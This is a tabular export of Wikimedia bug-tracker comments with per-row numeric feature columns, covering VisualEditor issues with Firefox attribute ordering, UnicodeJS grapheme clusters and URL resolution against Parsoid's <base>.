231913,"VisualEditor: Attribute order preservation is hopeless, get rid of it",Related URL: https://gerrit.wikimedia.org/r/68618 (Gerrit Change I1463d06db4900083dd4c565292bbabef09194b43),,,1371192190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wynzwypqafg7laiqaomg,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1463d06db4900083dd4c565292bbabef09194b43)
231908,"VisualEditor: Attribute order preservation is hopeless, get rid of it","It works fine in Chrome, but Firefox does not preserve the order in the attributes array:


>>> var div = document.createElement('div')
undefined
>>> div.innerHTML='<a href=""foo"" data-parsoid=""bar""></a>';
""<a href=""foo"" data-parsoid=""bar""></a>""
>>> div.children[0]
<a data-parsoid=""bar"" href=""foo"">
>>> div.children[0].attributes
[data-parsoid=""bar"", href=""foo""]",,,1369928377,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wynzwypqafg7laiqaomg,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,8.0,0.0,12.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.593220338983051,0.5254237288135594,"It works fine in Chrome, but Firefox does not preserve the order in the attributes array:


QUOTE
undefined
QUOTE
""<a href=""foo"" data-parsoid=""bar""></a>""
QUOTE
<a data-parsoid=""bar"" href=""foo"">
QUOTE
[data-parsoid=""bar"", href=""foo""]"
50975,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,"So that we can correctly calculate boundaries in unicode.wordbreak.js

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1369926300,1370532478.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vocovg5zyvqjxex3mwtr,task_description,resolved,True,c1,1,True,False,True,-5,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,0.6666666666666666,"So that we can correctly calculate boundaries in unicode.wordbreak.js

--------------------------
**Version**: unspecified
**Severity**: major"
231618,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,Basic support added. Leaving open to work on full grapheme boundary detection.,,,1370531840,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.785714285714286,0.9285714285714286,Basic support added. Leaving open to work on full grapheme boundary detection.
231614,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,"This is fixed in the above commit, which is merged and will go out with wmf6.",,,1369932362,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.9444444444444444,"This is fixed in the above commit, which is merged and will go out with wmf6."
231607,VisualEditor: Add support for multi character grapheme clusters in UnicodeJS,Related URL: https://gerrit.wikimedia.org/r/66123 (Gerrit Change I202b98199d2780534d1e02519b72579ba796f08f),,,1369928399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vocovg5zyvqjxex3mwtr,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I202b98199d2780534d1e02519b72579ba796f08f)
50915,VisualEditor: Respect Parsoid's <base>,"Currently we don't -> lots of broken imagery in /w/index.php etc. entry points.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=59196",High,80.0,1369779540,1382985540.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_description,resolved,True,c1,1,True,False,False,-5,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.297872340425532,0.6382978723404256,"Currently we don't -> lots of broken imagery in /w/index.php etc. entry points.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
227902,VisualEditor: Respect Parsoid's <base>,"Change 90952 merged by jenkins-bot:
Render resolved URLs for href and src attributes in CE

https://gerrit.wikimedia.org/r/90952",,,1382986517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.238095238095238,1.0,"Change 90952 merged by jenkins-bot:
Render resolved URLs for href and src attributes in CE

GERRIT_URL"
227898,VisualEditor: Respect Parsoid's <base>,"Change 86065 merged by jenkins-bot:
Resolve rendered URLs according to the provided <base>

https://gerrit.wikimedia.org/r/86065",,,1382985176,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,4.333333333333333,1.0,"Change 86065 merged by jenkins-bot:
Resolve rendered URLs according to the provided <base>

GERRIT_URL"
227896,VisualEditor: Respect Parsoid's <base>,"Change 90952 had a related patch set uploaded by Catrope:
Render resolved URLs for href and src attributes in CE

https://gerrit.wikimedia.org/r/90952",,,1382383425,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,1.0,"Change 90952 had a related patch set uploaded by Catrope:
Render resolved URLs for href and src attributes in CE

GERRIT_URL"
227894,VisualEditor: Respect Parsoid's <base>,"(In reply to comment #13)
> Change 86065 had a related patch set uploaded by Catrope:
> Resolve rendered URLs according to the provided <base>
> 
> https://gerrit.wikimedia.org/r/86065
This addresses the most common symptoms of this bug. It fixes rendering of link targets for internal links (at least on initial rendering; the href attribute doesn't update correctly when the link is edited), and it fixes href and src attributes of things inside of generated content nodes (templates, mostly).

While the change in Gerrit fixes href/src attribute rendering for uneditable href/src attributes, we still have to do something for models that manage their own href/src and edit it, or generate it from another editable attribute.

ve.dm.LinkAnnotation, ve.dm.MWExternalLinkAnnotation: href attribute is edited directly; in practice MWExternalLinkAnnotation is a full URL and LinkAnnotation isn't used in the MW integration, but we should still fix them.

ve.dm.MWInternalLinkAnnotation: Generates href based on title attribute, which can be edited. Links that came directly from Parsoid now render correctly due to a hack (see bug 51487), but edited links don't render correctly.

ve.dm.ImageNode, ve.dm.MWInlineImageNode, ve.dm.MWBlockImageNode: src attribute is edited directly; in practice, the MW ones use full URLs (the user doesn't edit the src directly, and the UI widget gets full URLs from the API) and ImageNode isn't used in the MW integration, but we should still fix them.

ve.dm.MWCategoryMetaItem, ve.dm.MWLanguageMetaItem: these manage hrefs that can be edited, but they're never rendered and always absolute, so we don't really care",,,1380241433,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,12,,0.0,0.25,0.0,2.0,1.75,2.5,0.25,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.25,0.0,6.75,6.5,0.25,0.5,0.5,0.25,0.0,0.25,0.0,0.0,0.25,0.5,0.0,0.25,5.75,0.25,1.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,1.25,0.25,1.25,0.0,0.0,0.0,0.75,0.0,12.75,0.5,0.25,0.25,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.75,0.0,0.0,0.0,0.75,0.0,3.75,2.25,8.5,0.75,3.5,5.0,0.0,0.0,0.0,0.25,4.0,0.0,0.5,0.0,3.25,6.5,7.25,0.0,0.0,0.0,3.25,0.0,1.25,0.5,0.5,0.5,0.0,0.5,0.75,4.2730263157894735,0.6973684210526316,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
This addresses the most common symptoms of this bug. It fixes rendering of link targets for internal links (at least on initial rendering; the href attribute doesn't update correctly when the link is edited), and it fixes href and src attributes of things inside of generated content nodes (templates, mostly).

While the change in Gerrit fixes href/src attribute rendering for uneditable href/src attributes, we still have to do something for models that manage their own href/src and edit it, or generate it from another editable attribute.

ve.dm.LinkAnnotation, ve.dm.MWExternalLinkAnnotation: href attribute is edited directly; in practice MWExternalLinkAnnotation is a full URL and LinkAnnotation isn't used in the MW integration, but we should still fix them.

ve.dm.MWInternalLinkAnnotation: Generates href based on title attribute, which can be edited. Links that came directly from Parsoid now render correctly due to a hack (see bug 51487), but edited links don't render correctly.

ve.dm.ImageNode, ve.dm.MWInlineImageNode, ve.dm.MWBlockImageNode: src attribute is edited directly; in practice, the MW ones use full URLs (the user doesn't edit the src directly, and the UI widget gets full URLs from the API) and ImageNode isn't used in the MW integration, but we should still fix them.

ve.dm.MWCategoryMetaItem, ve.dm.MWLanguageMetaItem: these manage hrefs that can be edited, but they're never rendered and always absolute, so we don't really care"
227891,VisualEditor: Respect Parsoid's <base>,"Change 86065 had a related patch set uploaded by Catrope:
Resolve rendered URLs according to the provided <base>

https://gerrit.wikimedia.org/r/86065",,,1380161671,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.5,1.0,"Change 86065 had a related patch set uploaded by Catrope:
Resolve rendered URLs according to the provided <base>

GERRIT_URL"
227887,VisualEditor: Respect Parsoid's <base>,*** Bug 53190 has been marked as a duplicate of this bug. ***,,,1377727533,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53190 has been marked as a duplicate of this bug. ***
227883,VisualEditor: Respect Parsoid's <base>,"Fun fact: this is the most often duped VE bug ever, and it's in the top 30 of most often duped open bugs on our entire bugzilla, alongside classics such as bug 738 or bug 156. https://bugzilla.wikimedia.org/duplicates.cgi",,,1377727467,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.4047619047619047,0.8333333333333334,"Fun fact: this is the most often duped VE bug ever, and it's in the top 30 of most often duped open bugs on our entire bugzilla, alongside classics such as bug 738 or bug 156. URL"
227877,VisualEditor: Respect Parsoid's <base>,*** Bug 53491 has been marked as a duplicate of this bug. ***,,,1377718799,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53491 has been marked as a duplicate of this bug. ***
227868,VisualEditor: Respect Parsoid's <base>,*** Bug 50466 has been marked as a duplicate of this bug. ***,,,1377445192,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50466 has been marked as a duplicate of this bug. ***
227861,VisualEditor: Respect Parsoid's <base>,Also reported today at it.wp (this was the result https://it.wikipedia.org/w/Tsonga_%28popolazione%29 ). Thanks.,,,1375819931,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9333333333333333,Also reported today at it.wp (this was the result URL ). Thanks.
227855,VisualEditor: Respect Parsoid's <base>,"To hopefully help people find this bug, here is the description from bug 51122 ""link targets assumed to be same namespace when opened with ctrl+click"" updated to reflect that it now happens with all links, not just those in image captions:

When opening a link from the editing interface using ctrl+click (or ""open in a new tab"" from the right button menu) the link target is assumed to be in the same namespace as the currently edited page.

For example a link to [[Bridgnorth Cliff Railway]] from the page [[User:Thryduulf/sandbox]] is opened as [[User:Thryduulf/Bridgnorth Cliff Railway]]. A link to [[User:Thryduulf/sandbox2]] on the same page opens [[User:Thryduulf/User%3AThryduulf%2Fsandbox2]]. A link to that sandbox page
from a page in the article namespace opens as [[User%3AThryduulf%2Fsandbox2]], but this does get you to the correct page.",,,1375706105,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,False,,,5,,0.5,0.0,0.0,1.0,0.5,3.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.5,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,17.0,0.5,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,8.0,2.5,11.0,1.5,1.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,13.0,9.0,0.0,2.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,6.5,3.851063829787234,0.5478723404255319,"To hopefully help people find this bug, here is the description from bug 51122 ""link targets assumed to be same namespace when opened with ctrl+click"" updated to reflect that it now happens with all links, not just those in image captions:

When opening a link from the editing interface using ctrl+click (or ""open in a new tab"" from the right button menu) the link target is assumed to be in the same namespace as the currently edited page.

For example a link to [[Bridgnorth Cliff Railway]] from the page [[User:Thryduulf/sandbox]] is opened as [[User:Thryduulf/Bridgnorth Cliff Railway]]. A link to [[User:Thryduulf/sandbox2]] on the same page opens [[User:Thryduulf/User%3AThryduulf%2Fsandbox2]]. A link to that sandbox page
from a page in the article namespace opens as [[User%3AThryduulf%2Fsandbox2]], but this does get you to the correct page."
227849,VisualEditor: Respect Parsoid's <base>,"Come on guys, this is ""high major"" since May.",,,1375705817,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.9230769230769231,"Come on guys, this is ""high major"" since May."
227842,VisualEditor: Respect Parsoid's <base>,*** Bug 51122 has been marked as a duplicate of this bug. ***,,,1375705754,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51122 has been marked as a duplicate of this bug. ***
227836,VisualEditor: Respect Parsoid's <base>,*** Bug 51585 has been marked as a duplicate of this bug. ***,,,1375705742,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-aqxcn24qtgiw3ubxzs6h,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51585 has been marked as a duplicate of this bug. ***
